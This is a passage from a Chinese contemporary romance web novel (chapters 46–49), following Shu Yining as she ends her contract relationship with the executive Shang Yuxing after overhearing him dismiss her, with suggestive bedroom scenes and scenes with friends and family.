商聿行还在边上,没有插话,安静地仿佛不存在似的。 舒以宁无暇转过头去关注他的反应,心思暂时都在莫谦旬这边应付着:“是要找个时间去给奶奶拜年,就怕会打扰到你们。” “怎会,我们是一家人。”莫谦旬自然而然道。 在舒以宁再一次开口前,他看向旁边的商聿行,笑问:“这位是?”方才李震山只来得及在商聿行面前提了一嘴他,并未向他介绍对方。 商聿行不管走到哪里都是焦点,场子上敬酒的人已经重新围了过来。 但能在这条道儿上混的,都会看点眼色,自然不会在这个时候越俎代庖插嘴。 商聿行朝他略一颔首,薄唇轻启:“商盛商聿行,幸会。” 莫谦旬露出恍然大悟的神色,笑着朝他举杯:“商总,我敬您。” 舒以宁看着这场彼此之间心知肚明的把戏,顿时感觉好不乏味。她不相信莫谦旬事先会不知道这是商聿行,那么,他来这么一出,无非就是要来她面前让她难受一下了。 偏偏,她还只能受着。 这个书呆子,本来两耳不闻窗外事的一人,被她撩得动了凡心,又不堪承受她激情退却后的冷漠…… 她确实一直有愧,永远矮他一截。 好在他现如今到底是和从前大不一样了,在社交场合不能说如鱼得水,但至少也是游刃有余。 ——虽然脱离了世俗眼光之后,很难去评价这究竟是好还是不好。而舒以宁明白她自己更是没有这个评价的资格。 遥记那年他才十九岁,站在钢琴旁朝她看过来的眼神很轻很淡。白衣黑裤,冷白色的肌肤如上好的瓷器一般,整个人遗世独立、干净得没有半分烟火气。 舒以宁只一眼就知道,这就是她那个名义上的书呆子哥哥了。 也是这一眼,她被他所惊艳,以至于色令智昏,做出后面勾引他的举动来。 而待他沦陷,她却不可避免地迎来了倦怠期。 后来她提了分手,莫谦旬割腕…… 莫谦旬简单与舒以宁交流后,回过头来笑着对舒以宁说了两句告别的话,她浑浑噩噩地应了。 见了莫谦旬后,接下来整场晚宴她都不在状态。 回到酒店,舒以宁神智无知地卸了妆洗了澡,躺进了被子里。 商聿行将她捞进怀里,低眉浅笑:“怎么见了他就跟失了魂?旧情未了?” 舒以宁紧紧靠着他,从他这里汲取温度与安全感。 商聿行摸了摸她的脸。 男人粗粝的指腹带着旖旎的温热感,在她脸部肌肤上留下安慰般的温度。 过了一会儿,舒以宁开口道:“商聿行,我差点就害死他了。” 这件事当初闹得不大,知情者甚少。毕竟莫家是知识分子家庭,最讲究“体面”二字。商聿行也是四年前派人调查舒以宁,才知道她与莫谦旬还有这番过往。 当年莫谦旬为情所困,割腕自杀,所幸被抢救了回来。舒以宁的祖母季如云从此不再对她有过好脸色,舒以宁也自知理亏,不敢再去多加打扰。 她也想过就此改邪归正,再也不游戏人间…… 她也确实是这么做的,尽管在这之后她的情感经历并不能说减少了。但至少几乎每一段感情,她都付出了真挚的情感,在某一刻向对方交付了自己的真心。 ——只是,收回得也够快就是了。 舒以宁絮絮叨叨地说着话,脑海中一片杂乱,有些话心里头想着想着就没怎么过弯儿就说出口了。 商聿行听着她的肺腑之言,唇角的笑容不知不觉间冷了下去。 而舒以宁丝毫未觉。 “我是不是很混蛋?难怪奶奶都不想要我了。” 说到后来,舒以宁的尾音里已经带上了浅浅的哭腔,软软的,仿佛长满绒毛的猫爪子在人心上不住地挠。 商聿行的声音已经低哑得不成样子:“嗯,欠收拾。” 舒以宁感官就算再迟钝,也不难听出他已经濒临禽兽状态了。她本来都忍不住要哭出来了,听见他带着浓烈少儿不宜倾向的声音,顿时愣了一下。 “商聿行?”她轻轻喊了一声。 “商聿行!你还是人吗?我正难过着,你竟然净想着那档子事??”她简直出离愤怒了。 男人十分尊重她的意见,低头吻了吻她的发顶,压着低哑的嗓子问:“不想要?” 舒以宁擦了擦眼睛,高冷道:“不想。” “嗯,抱歉。” 说完,周遭顿时一空,热源消失了。 商聿行去浴室处理好了才出来,躺下来时,舒以宁闻到他身上清冽的寒气。 她主动靠过去,抬头往上看着他骨相优越的脸:“洗的冷水澡?” 她靠在他胸膛上蹭了一会儿,他很快就推开她,去洗了第二个冷水澡。 她又靠了过来,接着便是第三个冷水澡。 三个冷水澡洗完,商聿行终于明白了过来。这一次,等舒以宁再挨过来时,他没再客气,直接翻身将人压制于身下。 舒以宁受了桎梏,立马手脚并用地挣扎起来。只是这回任她怎么挣扎,他都分毫未退。 男人灼热的鼻息倾洒下来,烧得她的耳廓不由自主地轻颤。 他笑了一声,磁性得要命:“故意惹我?” 第47章 舒以宁被他看出了她恶作剧般的小伎俩,索性咬牙道:“谁让你不安慰我就算了,还想着要do!” 商聿行反身,双手撑着床,幽深的双眸一瞬不瞬地盯着眼前的女人。 舒以宁看着他冷峻流畅的下颌线,咽了下口水。 旋即,男人笑了下,唇角细微的弧度变化危险却勾人:“放心,今晚我有的是时间找你慢慢清算。” 舒以宁目光下移,挪到他凸起的性感喉结伤。她知道今天怎么也逃不掉了,而他方才又被她戏弄了……以男人的恶劣程度,不消多想,他绝对会从她身上成百倍的讨要回来。她索性一不做二不休,张口就咬了上去。 商聿行猝不及防,情难自抑地发出一声闷哼,猛地扬起了头。 “松开。”他咬牙命令,嗓音低沉得犹如发号施令的神祇。 舒以宁不肯松。 耳边男人急促的喘息声越来越深、越来越重,仿佛一曲高歌,掀开了腥风血雨的序幕。 左右他怎么都不会放过她了,那她自然更不肯松口,偏要他难受,偏要他牢牢记住这一刻。 要他记住这一刻的欢愉与痛苦,压抑与释放,记住这一刻只属于他们两个人的时光。 商聿行已经濒临爆发,他不再客气,身后按住她的后脖颈,强势地将人拎开。紧接着,又掐着脖子将人拽回来。 舒以宁抵抗不过他的力气,她的那点反抗对于他来说无异于蚍蜉撼树。 她被摁到他面前,几乎是鼻尖对着鼻尖。 男人幽黑的眼眸深不见底:“准备好了?轮到我了。” …… 一曲终了,舒以宁已经哭不出眼泪来了,全身细胞都叫嚣着求饶,偏偏嘴最硬。 男人勾了下唇角,伸手将她的脸扳过来。他换了个坐姿,与她面对面。 舒以宁绷着脸,乌眸含泪,眼神里满是对他的控诉和指责。 “一晚上你要几次?” 商聿行靠前,在她眼皮上落下轻轻一吻,低笑着开口:“舒小姐,你的KPI是五次。” “……畜生。” 商聿行笑笑,慢条斯理道:“没多少本事,还敢来老虎头上拔须?” 舒以宁一想到这个夜晚还很漫长,就欲哭无泪,嘴巴软下来认错:“我不敢了。” 哪想眼前的男人没有给她半点转圜的余地:“晚了。” 软的不成,舒以宁只好硬着头皮警告他:“那你这一个月都别想再和我睡一张床上!” 她刚受了欺负,声音温温软软的,放起狠话来简直没有半分的威慑力,反而更像是撒娇与邀请。 商聿行笑着托住她的后脑勺,声线放得温和缓慢,仿佛哄人一般说出魔鬼般的咒语:“你做得了主么?” 接着,便是新一轮的旖旎。 他说五次,果真就是五次,一次都不能少。 到后来,舒以宁连求饶的声音都发不出来,在愉悦与极限的双重拉扯中,终于迎来了解脱。 她已经不记得她是几点睡下的,第二天醒来时,只感觉清清凉凉—— 狗东西不知何时已经给她涂好了药膏。 舒以宁记仇,打定主意这一个月都要跟他分房睡。 微信上有阮明芜发来的消息,可能是怕打扰到他们,所以一直没有打电话来。 [以宁,今天有空来家里吃饭吗?中午或者晚上?] 显然,舒以宁今天是过不去了。 她暗自叹了口气,回道:[身体有点不舒服,下次你回H市,我们再好好聚聚[亲亲][亲亲]] 阮明芜的消息回得很快,带着非恶意的调侃意味:[不会是下不来床了吧[嘿哈]?] 舒以宁呼吸一窒。 阮明芜的下一条消息已经发过来了:[我昨晚看到莫谦旬去找你了,商总的脸色好像不大好啊,昨晚没少哄着人家吧[嘿哈]。] 舒以宁都要对这个微信表情PSTD了,不过—— 昨晚商聿行脸色不好? 她都没注意到。 商聿行健完身回来,沐浴完,一边擦着濡湿的黑发一边走到床边。 冷隽的男人身板挺拔,两条腿笔直修长,步履沉稳。睡袍松松垮垮地套在身体上,隐约露出线条紧实的肌肉,随着他的呼吸细微起伏。 舒以宁怀疑这狗东西是故意的。 她默默钻回被子里,拉高被子隔绝外界,瓮声瓮气道:“少勾引我,我已经没力气了。” 商聿行丢下白色浴巾,笑了笑,单膝跪在床上撩开被子:“我看看还肿不肿。” 舒以宁:“!!!” 听听,这还是人话么? 舒以宁:“不用你看,你走。” 男人笑了声,温柔磁性,“还气着?” 他隔着羽绒被抱住了她,像是安抚一般,轻轻拍着她的后背。 舒以宁想问他昨晚是不是吃醋了,但又碍于面子,问不出口。他的怀抱很温暖,哪怕隔着羽绒被,她依旧清晰地感受到了他身上的温度。 嗯……也不是不能原谅他…… 舒以宁正这么想着,下一秒,就听见男人用低沉磁性的嗓音勾着调子慢悠悠道:“你不也爽到了?” 舒以宁:“!!!” 畜生。 令人发指的畜生! 商聿行垂眸看着眼前不停用脑袋顶他腹部的这团被子,唇角不自觉上扬,轻声道:“好了,我叫了餐。先吃点东西,吃饱了才有力气打我,不是么?” ** 舒以宁在深圳时还打定主意这一个月都不要再给他碰,结果回到H市没两天,就又沉溺在了狗东西极具伪装性的温柔乡中。 他好似深谙这套,欺负她欺负得狠了,就会顺着她一顿时间。 在床上顺应着她,送她尽兴、送她她要的适可而止。 每每到了这种时候,舒以宁就不得不感慨商聿行不愧是一个成功的商人,拿捏起人来很有一套。 不过,她被他伺候得舒服了,自然也不会想着要去讨不痛快。 就这么顺水推舟地重新睡到了一起,没再赶他去次卧。 临近春节,公司里已经挂起了喜气满满的装饰品。 食堂餐食也丰盛了许多,过年的各种糯叽叽糕点作为餐后甜品出现在了餐桌上。 午休时间,Karina靠在人体工学椅里舒舒服服地打转儿,问舒以宁:“舒小姐,再过七天就要放假了,您打算去哪儿度假吗?” “还没定,你呢?” Karina颇为丧气地叹了口气,说:“我回去就要相亲呢,我妈给我挑了三个她精挑细选的‘青年才俊’,要我一天见一个,做做对比,择优录取。” 舒以宁忍不住扑哧笑出声。 Karina是个胆汁质的乐天派性格,见舒以宁笑,她自个儿也忍不住笑了起来。看得刚踏回秘书处的江路南一脸迷茫,问旁边的同事:“舒小姐和Karina在笑什么?” 同事忍俊不禁:“Karina要过年回去一次相亲三个青年才俊,择优录取呢。” 江路南闻言,笑着打趣道:“这么厉害?你这不谈则已,一谈谈三个啊?” Karina开得起玩笑,与他贫嘴了两句,办公室里弥漫着一片欢笑声。 到了下午,商聿行要到商盛科技开个会,舒以宁正好打算回趟舒住给大伙儿发点过年礼品,就没跟着一块儿去。 舒住的员工们跟着公司经历了年中的风雨飘摇,不离不弃,舒以宁这回自掏腰包给大家准备了购物卡和现金红包,人手一份。 结束后时间堪堪五点钟,她打了个电话给江路南,问商聿行回公司了没有。江路南答道总裁去邢总那儿喝酒了,给刚回来的楚总接风洗尘。 舒以宁挂了电话,本想回世纪城等他,一看天色还早也没下着雨雪,便打算直接去趟R&F。 R&F的人都认得她,知道她与商聿行的关系,因此不用通报就领着她往三楼包厢走。 “我认得路,你去忙吧。”舒以宁随口说道。 侍应生还是坚持将她送到了门口才离开。 可能是商聿行刚进去的原因,包厢的门没有关紧,隐约透出里头明亮的灯光来。 舒以宁站在门口,刚想推门进去,手机震动了一下。她停下脚步,划开锁屏一看,原来是许夏天在微信上和她说一起过除夕的事。 她一边回着消息,一边听见包厢里头传出邢南熟悉的笑声。 紧接着,是一个陌生男人的声音:“知道你想报复她,既然现在睡也睡到了,接下来有什么打算?” 邢南笑着调侃:“就怕咱们商总舍不得,以宁多肤白貌美一个大美人儿啊,哪能跟你那些花儿果儿似的,随随便便就一脚踢开了?” 舒以宁回消息的手指一顿。 过了很久,她都没有听见商聿行开口。 她的眼睛莫名其妙地,开始泛酸。 心口也胀胀的,一突一突,有种难以描述的感觉。 里头的对话还在继续,许是不见商聿行说话,那个陌生的男人带着揶揄又开口了:“不会吧,咱行哥真动感情了?” 接着就是楚江野的声音:“难得见你上了心,看来以宁对你而言确实不一样。” 这回,男人低沉浑厚的嗓音响起,带着一声极为性感的嗤笑,仿佛听见了什么大笑话似的。 他说:“一个女人罢了。” ** 商聿行待了没多久就起身告辞了。表面上没什么,但明眼人一看就看得出来是对他们几个方才的话有所不满。商聿行一走,邢南也没留其他人,不一会儿就散场了。 包厢里只剩下他与楚江野。 “行不行啊,这话能套得出来?”邢南靠在墙壁前,点了支烟,燃在指间把玩,“我看阿行没否认,他要是真对以宁动了情,能受得了我们这么说?” 商聿行来之前,楚江野与邢南商量好了今天要炸一炸他,因此才有了刚才那么一出。 楚江野歪了歪唇角,笑说:“套不套得出来倒是不要紧,这趟回去,他总该得好好想想对以宁到底是怎样一番感情了。” 邢南叹道:“真搞不懂你们这帮人,喜欢,弄到手不就行了?” 楚江野闻言,笑了笑,抬起手肘搭在他肩膀上,颇为意味深长地看了他一眼:“这话啊,你自个儿放心里。喜欢,就去弄到手。” 邢南站直身体,敛了两分不正经的浪荡模样,指间燃着的香烟自始至终没有吸一口。“打住,当我没说。” 楚江野失笑,摇了摇头,毫不留情笑着嘲讽道:“出息。” 楚江野借口还有下一场局,急匆匆走了。他一走,会所经理才敢敲门进来,支支吾吾道:“邢总……刚才,刚才……” “有话快说。” 邢南不耐地皱了皱眉,脸上明晃晃写着老子没空陪你在这儿磨时间。 经理咽了咽口水,说话利索了不少:“刚才舒小姐也来了,底下人提了一嘴商总邢总也在,舒小姐就往这边的包厢走了过来,门口的人见是舒小姐也就没拦……” 邢南面色一凛,直直盯着他:“什么时候的事?” “商总刚来没一会儿。”经理顿了顿,说:“舒小姐在包厢门口站了一会儿就走了,脸色不大好。您看,这件事是否需要……” 邢南一个眼刀扫过去。 经理赶忙闭紧嘴巴。 邢南神色严肃:“叫所有的人把嘴给我闭严实了,否则,后果自负。” 经理连声说着明白,在邢南的眼神指示下退了出去。 邢南双腿交叠,手指有一搭没一搭地轻点皮质沙发扶手。 十分钟后,他掏出手机熟练地拨出一个号码。 很快接通了。 “是我。阿野,出事了。” ** 舒以宁漫无目的地开着车,穿梭在灯火通明的城市之中。 一会儿遇上红灯,一会儿遇上路灯,偶尔也在黄灯中提前踩下刹车。 路过了大学城,街边有并肩而行的年轻情侣,浑身上下都洋溢着梦幻的粉色泡泡。兴许还在暧昧期,彼此脸上都带着青春的羞涩,不似社会人的情感拉扯。 在这里没有猎物,没有猎手,只有最纯粹的喜欢。 车载音乐随机到的欧美热歌里正唱到一句“Yeamyheadisstillupinspace”,这版歌词的中文翻译不大准确,却很好地诠释了当前的状态。 它被翻译为:我仍对你抱着不切实际的幻想。 她对商聿行是否曾经抱有不切实际的幻想? 可能有过,不过,现在都不重要了。 舒以宁开到江边,就近找了个停车场停了车。 在这个不为人知的夜晚,她一个人坐在江边,身披银白色的月光,坐在寒冷的冬夜里,看着江对面鳞次栉比的CBD高楼大厦。楼宇蔚然成林,华丽的灯光照亮了城市的夜空,将万种风情展现得淋漓尽致。 那幢最高的楼,属于商盛,是商盛一期的总部大楼。 是他俯瞰他的商业帝国时,会站在落地窗前喝冰美式的地方。 不知坐了多久,天空中飘起了雪花。 雪花纷纷扬扬,或飘舞,或盘旋,或奋不顾身地扑向江面。 朔风凛凛,雪花飘打到她的脸上,冰寒刺骨。 打得她生寒,打得她清醒。 这是这个冬天,H市的第二场雪。 没有比以往来得晚,也没有比以往来得早。 舒以宁轻轻用指腹抚去脸颊上雪花融化后留下的水渍,以及眼睫毛上扑簌簌沾染的雪花。 或许,是时候了。 ** 舒以宁回到世纪城时,已经快晚上十点钟。 距离他定下的十一点门禁还有整整一个小时的富余时间。 他已经回来了,坐在客厅单人沙发座上,双腿交叠,白皙颀长的脖颈性感得要命。 单一个侧影轮廓,就让她心里莫名有些舍不得。 舍不得这张得天独厚的脸,舍不得这副恰到好处的好身材,舍不得紧实肌肉下蕴藏的力量感。 还好她只是贪恋他的身体,她自欺欺人地想。 舒以宁没说话,安静地在玄关处换好鞋,走到客厅。 男人深沉的目光落到她脸上,口吻很淡:“阿姨热了牛奶,在中岛台。” “嗯。” 舒以宁应了一声,转身走进厨房,取了中岛台上放着的那杯牛奶。 温温的,握在手中有一种踏实的温度。 给了她温暖,也给了她力量。 舒以宁没有立即往外走,而是站着喝掉了大半杯,才拿着剩下的小半杯走回客厅里。 商聿行依旧在看报表,与她回来前一样。 舒以宁深吸一口气,放松面部肌肉,尽量让自己显得风淡云轻。 她走到他面前,隔着半个长沙发的距离。 “我们的协议没有约定到期时间,我想多嘴问一句……”舒以宁浓密卷翘的眼睫毛敛着,垂眸望着手中的温牛奶,不敢望他的眼睛:“到期时间是以您……” 商聿行没有说话。 舒以宁不知道该如何来准确表达这番意思,踌躇了一会儿,也没听见男人发出半点声响。她扯了扯唇角,心道恐怕也就她一个人在这里兀自纠结,跟个叫人玩弄的小丑似的。 这不是她舒以宁该有的状态。 在人前唯唯诺诺,患得患失,还是为了一个男人。 于是,她抬起头,望进男人那双古井无波的黑眸里,肃容道:“商聿行,请你给我一个结束这段关系的期限。” 第48章 商聿行坐在单人沙发座上,阳台的光线罩着他半边深邃锋利的侧脸,在半明半暗间将这张造物主精心雕刻的脸庞勾勒得性感十足。 他的眸色很深,但眼神很淡,望向她的时候仿佛只是在看一样不起眼的物件,稀松平常、不值多提。 须臾,他漫不经心道:“那就今天。” “如舒小姐所愿。”他不咸不淡地补充了一句,语调是一如往常的寡淡平稳,毫无半点波折的意思。 舒以宁看着眼前风轻云淡的男人,不知怎地,顿时心口一松。 原来,自始至终踟蹰不前的人,从来就只有她一个。 下一秒,她抬起瓷白粉嫩的脸,无尽风情藏匿其间的动人乌眸一弯,粲然笑道:“那这些日子,就多谢行哥照顾了。” 商聿行挪开眼,长指有一搭没一搭地在腿上点着,淡声道:“我一会儿有个跨洋远程会议,舒小姐自便。” 他将她此刻的笑脸误解为从他身边解脱的欢欣,不由自主的,连语气都冷下了两分。他向来喜怒不喜于色,事到如今,哪怕在这一瞬间胸口翻涌而上的万般情绪差点要将他湮没,他依旧很好地克制住了。 面上一如往常地,毫不显山露水半分。 耳边是她带笑几句场面话,他已经不想再听了,简单应和了两声就起身进了书房。 ** 舒以宁的东西基本都在主卧,但她还是先进了当初刚来那天,商聿行给她安排的那间客房。 一进门,舒以宁就快步往前,整个人扑到床上去。 她躺了一会儿,看着天花板上低调却不失奢华的黑曜石装饰吸顶灯,脑袋放空。 不知过了多久,她才终于恢复了一点力气,拿起手机给许夏天发微信。 [我和商聿行结束了。] 手机不离身的冲浪少女许夏天秒回:[??] 许夏天:[宝贝,你说啥??] 舒以宁一字一字打进输入框,眼睛莫名有些难受:[我和他的协议从今天开始终止了,就在刚刚。] 许夏天没有立即打个语音通话过来,闺蜜之间的默契总是来得恰到好处。她回道:[这么说,你以后就睡不着他尊贵的□□了?] 舒以宁笑了笑。 [嗯,他被我打入冷宫了。] 许夏天:[啧啧,好惨,你这渣女。] 没几秒,她又继续发来谴责:[果然没有一个男人能在你身边长久地待下去,舒小宁你没有心!!] 舒以宁伸手摸了摸自己的左胸口? 好像有点闷闷的,压得她有点喘不过气来。 毕竟经过了这么些日子的相处,又是那么个她肖想多年、曾经可望而不可得的男人。 加之,这次的结束…… 说实话,开始也好,终止也好,她都只是被迫接受的那方。 兴许正是因为如此,才显得与众不同起来。 还好她惯常是个喜新厌旧的,感情来得快也去得快。 过个十天半个月,就又能开始物色新的crush了。 ——她心里这么想着。 ** 商聿行坐在宽大的办公桌后面,长指慢条斯理摘下做工精巧的暗蓝色金沙石镶饰袖扣。 书房里一早就打开了恒温恒湿系统,确保周围环境能让他达到最舒服的身体状态。 然而,此刻他却莫名感觉燥热。 又坐了一会儿,商聿行脱下西服外套,袖口挽起一截。 很快,视频会议另一头的参会者们就发现他们的老板今天心情不太好。 在否决第三个提案后,商聿行深邃如刀刻的下颚微微抬起,薄唇轻启,优雅吐出口的话冰冷得如同寒冬腊月冻在山壁间的雾凇:“商盛近两年发展得还行,我看高位上坐久了,有的人沉溺安乐忘了爬上来靠的那点本事。看来,你这位子是该挪一挪了。” 被点名的高管闻言,脸色瞬间灰败下去,忙不迭开口解释。 商聿行抬了下手,冷漠道:“下一个。” …… 会议持续了两个小时,罕见的,没有中场休息。 结束时壁钟上的时针已经指向十二点,夜色寂然,落地玻璃窗外,钱塘江对面的灯火彻夜不息。 手机微信里残留着一小时前她发来的消息: [感谢商总这段时间以来的照顾,我就先不打扰了。] 这句话下面还配了一张粉色小狐狸可可爱爱的双手飞吻表情包。 商聿行走出书房,客厅开着浅黄色的暖色壁灯,空无一人。 衣帽间她带来的衣包鞋履都已经不见了。 连主卧都被收拾得干干净净,没有留下半分曾经耳鬓厮磨的痕迹。 商聿行走近厨房,捋起衬衣袖子,打开冰柜亲手凿了一颗冰球丢进岩石杯中。 接着,他敛眸,看着威士忌缓缓倾入。 他不过回了她一句不过心的气话,她却已迫不及待地收拾完东西走人,匆忙到连句道别的话都不来当面说。 呵,怕是早就想跑了。 是啊,像他这样一个无趣的人,又怎么及得上那些小男孩会讨她欢心? 商聿行喉结轻滚,将杯中浸润过冰寒的浅浅一层威士忌饮尽。 他不喜欢强人所难。 而且打从一开始,他认为自己也不过是抱着个得到后就能放得下的想法。 如今的他,也不是四五年前那个情绪还不够稳定、理智不能时时占据上风的年轻掌权者,没有必要对一个朝三暮四的女人用手段。 ** 翌日,舒以宁没来上班。 Karina目送商聿行进了总裁办,转头就问江路南:“舒小姐今天休假吗?” 江路南今天一早还没出门的时候,就已经收到了商聿行告诉他以后舒以宁不再是他助理的通知。至于具体细节,他还没来得及打探清楚。 不知道他们是更近一步了,还是……掰了。 江路南于是告知她:“舒小姐从今天开始就不是我们总裁的助理了,余下的你先不用管,做好你的本职工作。” 十分钟后,江路南整理好需要总裁签署的文件,正打算送进总裁办并旁敲侧击一下总裁与舒小姐的现状时,Karina匆匆跑过来。 “怎么了?”江路南见她一脸焦急,不由停下脚步。 Karina踮起脚尖,附在他耳边迅速讲了两句话。 江路南一愣,旋即不可置信地看着她:“你说真的?” Karina重重一点头,说:“千真万确,我刚刚微信上问的舒小姐。” 江路南:“……以后切忌私自行事。” Karina完全没心思听他的教诲,一脸凝重地问他:“江特助,我不会要回到楼下去了吧?” “怎么会,你是总裁的助理,堂堂正正的总助。总裁的商务活动安排、出差行程还需要由你来负责。”江路南正了正神色,告诫她:“别再去打扰舒小姐了,什么话该说什么话不该说,不用我专程教你一遍吧?” Karina立马双手捂住嘴巴,点头如捣蒜。 不知是从哪边先传出的消息,舒以宁与商聿行分手了这件事很快就在圈子中传开了。 连通告在身的秦延昭都有所耳闻,在五人小群里问:[以宁分手了?] 王樾正在昆士兰州度假,躺在柔软的沙滩上享受着日光浴呢。他的消息一般都是各种二代聚会上你一言我一语得来的,消息自然就比国内慢了一步。 舒以宁在群里确认了这个消息后,他当天就订了机票飞回H市。 ——有热闹看怎么能错过?况且还是他好兄弟舒以宁的热闹! 不过,舒以宁可没有时间去跟王大少爷见面掰头。恰逢小年夜,白祈年办了个家宴,邀请了舒以宁。迫不及待办这个家宴的原因有些令人啼笑皆非—— 他那刚满十六岁的小儿子期末成绩大有进步,从年级倒数一跃闯进了年级前一百。 白祈年四十四岁才有了这个唯一的孩子,自然宝贝得不得了。 因此,才留他在国内读的高中,预想中也是希望能一直留在自己身边读大学。 奈何这混世魔王的考试成绩一塌糊涂,他都已经做好了要将儿子送出国的准备,没想到这小魔王突然给他来了这么个大惊喜,怎能不赶紧办个宴席庆祝一番? 家宴上,白祈年红光满面,看起来较半年前年轻了许多。 他问起舒以宁关于她父亲的消息,舒以宁据实以告。听罢,他叹了口气,说:“以宁,白伯伯说话不太好听……关于你父亲的安危,你最好有个心理准备。” 时隔这么多日子都渺无音讯,谁都知道此番舒跃章恐怕是凶多吉少了。好在舒住算是保住了,也不至于令以宁这孩子没了依靠。 既是家宴,来的自然都是沾亲带故的人。除了舒以宁以外,掌潇也在。 她与白祈年的夫人是远亲,按照辈分,称呼白祈年一句舅舅。 白祈年开玩笑道:“正好放着寒假,我把小宇放你那儿几天,你帮我带带如何?也让他沾染沾染你们高端科技人才的气息,你就把他当成自己的儿子,想打就打想骂就骂!” 众人顿时哄堂大笑。 白夫人拍打了他一下,笑骂道:“你个老棺材,潇潇想要孩子自己会生,用得着拿你这小棺材儿子当自己儿子?我们潇潇这么好的基因,生出来的小孩肯定聪明!” “嫂子这话说得可不对啊,小宇我看着就足够聪明!” “对对,婶婶喜欢潇潇,但也不能对自家孩子厚此薄彼啊!” …… 在一阵欢笑声中,掌潇安安静静地笑着,目光落到了一旁明艳动人的舒以宁身上。 舒以宁仿佛觉察到似的,也望了过来。 掌潇当即条件反射般地移开目光,假装刚刚没有在看舒以宁。须臾,她笑了一下,为自己的欲盖弥彰感到无奈。 舒以宁倒是没想那么多,直到十分钟后她们在洗手间遇见。 她对着镜子补完口红,恰好遇上掌潇走进洗手间来。 掌潇停下脚步,笑盈盈打招呼啊:“以宁,好巧啊。” 她的笑容清清浅浅,就像冬日里的温泉一般,舒适而温暖。 舒以宁回以微笑,说:“是啊,好巧。” 说完,她刚想要走,就见掌潇笑了笑,状似不经意间提起:“以宁,我听说……你和行哥分开了?” 舒以宁顿住脚步,看着她,坦诚道:“嗯,我和他之间只能算一场交易,不算在一起。” 掌潇问:“交易?” 舒以宁不知道对方这算不算明知故问,不过她懒得多说。她向来擅长掌握主动权,一抬眼,反客为主问道:“你喜欢他?” 掌潇没想到舒以宁会如此直白地说问出这句话。 她扯出一个笑容,刚要开口,就听舒以宁说:“确实,你和商聿行很般配。” “感情的事情不是一句般不般配就能下定论。”掌潇笑了笑,说:“其实,我觉得你和他也很般配。” 舒以宁含混“嗯嗯”了一声,敷衍回应。 掌潇看出了她的疏离冷淡,轻轻笑了一下,温温柔柔说道:“以宁,不管你相不相信,但我对你真的没有恶意。” “我知道。”舒以宁从来没有怀疑过这点,只是她与掌潇彼此也都清楚,她们总归是做不了朋友的。 从小到大,她们两个都气场不合。而且还不是那种能吵吵起来的气场不合,不是不对付,也没什么矛盾,纯粹只是不是一路人。 掌潇转过身,走到窗户边隔空眺望远处高楼,缓缓道:“说出来不怕你笑话,其实,我从十二岁开始就暗恋他了。这么多年也不是没遇到对我好的男人,可是有的人一旦出现了……” 她没有说下去,未尽的话中已经藏了她的难以割舍。 舒以宁也看向窗外,“很多人都喜欢过他,我也不例外。” “你那事当时闹得很大。”掌潇笑了一声。 舒以宁承认:“确实,被很多人看了笑话。” “我没有笑话过你。” “我相信你。” 掌潇缓缓吐出一口气,说:“这么多年里,我有好几次想要表白。但我很清醒地知道,像他这样的人,喜欢一个人他是会主动出击的。” 搁以往,她绝对想不到有一天她会和舒以宁坐在一起谈心。 舒以宁却不这么认为:“不要怕被拒绝,万一呢。” 掌潇转回来看着她线条流畅的侧脸,微微笑:“以宁,你说得对,万一呢。”—— 作者有话说:分手前,商聿行:我不喜欢强人所难。 分手后,商聿行:lplp,你快回来[爆哭][爆哭] 第49章 舒以宁组了个局,群里喊了一声,喊许夏天、楚思然还有王樾出来喝酒,约在江宁路一家新开的清吧。 “来,我们敬单身,敬自由!” 舒以宁率先举起酒杯,依次与他们三个碰了杯。 与楚思然碰杯时,楚思然莞尔,主动握着酒杯碰上去:“嗯,敬单身,敬自由。” 王樾正要干杯,闻言,立马酒也不喝了,惊讶问道:“单身?你跟你那小白脸对象分手了?”他们四人半小分队近期都没怎么好好聚过,自从上次不欢而散,平时在群里也没再见楚思然主动讲起感情方面的进展。 楚思然冷笑了一声,一口酒闷下去,没好气道:“关你屁事。” “我这不是关心你?来来来,今天不醉不休啊,我陪你们这俩单身狗……不对,我陪你们三个单身狗大醉一场!” 王樾说完,当即就干掉了酒杯中的白兰地。 许夏天酒量差,一直都喝的软饮或者啤酒。王樾拿起人马头,给舒以宁和楚思然倒酒,同时不忘埋汰许夏天两句:“你个小趴菜,下回喝旺仔牛奶得了。这都多少年了,酒量都不见长的。” 许夏天晃晃杯子,与他争辩:“我今天喝的啤酒好不好,刚刚都喝了好大一口。” 王樾不由嗤一声笑。 许夏天生气了:“王樾!” 随即,两个人就又你一句我一句地吵闹起来了。 楚思然一见他们吵架就头疼,“闭嘴,两个小学生。” 王樾和许夏天立马不约而同噤声,巴巴地看着她。 楚思然屈指扣了扣桌面,抬眸劝舒以宁:“喝慢点,今晚又没其他事儿,喝个通宵都不成问题。难不成分开了,你还要守他那鬼门禁?” 刚刚旁边两个小学生拌个嘴的工夫,舒以宁已经三杯酒下肚了。 舒以宁正在倒酒的手缓慢了下来,笑笑:“高兴呀,来,我们一起再干一杯,庆祝!我想好了,明天开始我就要开始下一段感情。” 她话音一落,连许夏天都惊诧不已:“这么快?” “嗯。”说着,舒以宁放下人马头,掏出手机找到之前加过的沈嘉树室友的微信:“我得问问沈嘉树的同学,他现在谈恋爱了没有。估计是没有的,他和我说过他不打算在本科阶段谈恋爱。” 楚思然:“沈嘉树?这名字怎么有点耳熟……” 王樾记性好:“不就是以宁跟了商聿行之前,她,正在追的那个科大的。” 舒以宁“啪”一声搁下手机,盯着他:“注意你的措辞。” 王樾投降:“好好好,我的错我的错。” 虽然不知道踩中舒大小姐尾巴的到底是上半句,还是下半句。 手机振动了一下,舒以宁拿回来一看,是沈嘉树的室友非常速度地回了她的消息。 许夏天凑过来看,念了出来:“没有呢舒姐姐,你还想追我们嘉树吗,有段日子他们都在说你和商盛科技的老板商聿行在一起了,舒姐姐你不追我们嘉树了吗?” 许夏天念完,立马问:“你真要和弟弟再续前缘?这么快?空窗期不长一点吗?” 王樾也认同:“是啊,万一被商聿行误会你跟沈嘉树没断过……虽然已经结束了,但有几个男人能忍这种事?” 舒以宁不以为意,一边回消息一边说:“弟弟又不是我说要追,马上就能追上的。你们都不知道他有多难追。” 她停顿了一下,笑起来:“不过我就喜欢难追的,看原则性足够强的人单单为我舒以宁沉沦。” 四人一边聊天一边碰杯喝酒,聊了很多,也自然而然聊起了正在横店进组拍戏的秦延昭。 许夏天突然奇想:“我们要不这就出发,叫个车去横店找我哥一块儿喝酒吧!” 高速两个小时就能到横店探班。 